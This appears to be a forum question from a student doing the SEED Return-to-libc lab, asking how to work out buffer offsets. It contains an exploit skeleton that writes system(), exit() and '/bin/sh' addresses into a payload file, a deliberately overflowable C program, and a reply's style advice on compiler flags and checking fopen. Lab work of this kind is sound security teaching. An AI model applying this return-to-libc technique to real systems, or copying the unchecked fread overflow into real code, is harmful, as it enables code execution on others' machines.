I am trying to find the buffer for where the implement my buffer overflow attack
The lab link is also here: https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf
How I find X Y Z in a Return To libc attack with a buffer of 150? this is the exploit code that was given to us, I already found the addresses that the buffers need to write to but, I just need the X Y Z:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and the values for X, Y, Z. The order of the following three
statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */
*(long *) &buf[X] = 0xbffffdd4; // /bin/sh
*(long *) &buf[Y] = 0xb7e42da0; // system()
*(long *) &buf[Z] = 0xb7e369d0; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
This is also the vulnerable program that was given to us:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack. * Instructors can change this value each
year, so students * won’t be able to use the solutions from the past. * Suggested value: between 0
and 200 (cannot exceed 300, or * the program won’t have a buffer-overflow problem). */
#ifndef BUF_SIZE
#define BUF_SIZE 150
#endif
int bof(FILE *badfile) {
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 300,
badfile);
return 1;
}
int main(int argc, char **argv) {
FILE *badfile;
/* Change the size of the dummy array to randomize the parameters for this lab. Need to use the array
at least once */
char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
gcc, at a minimum use:-Wall -Wextra -Wconversion -pedantic -std=gnu11) Note: other compilers use different options to produce the same results.int main(int argc, char **argv) {Since the two parameters are not used, the compiler will output two warning messages about unused parameters. To correct this, use the other valid signature formain():int main( void )char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);1) please follow the axiom: only one statement per line and (at most) one variable declaration per statement. 2) this line can be reduced to:char dummy[ BUF_SIZE * 5 ] = {0};Notice the use of appropriate horizontal spacing for readabilitybadfile = fopen("badfile", "r");When calling C library functions, always check ( forfopen()!=NULL ) to assure the operation was successful. If not successful, callperror()so both your error message and the text reason the system thinks the error occurred are output tostderr.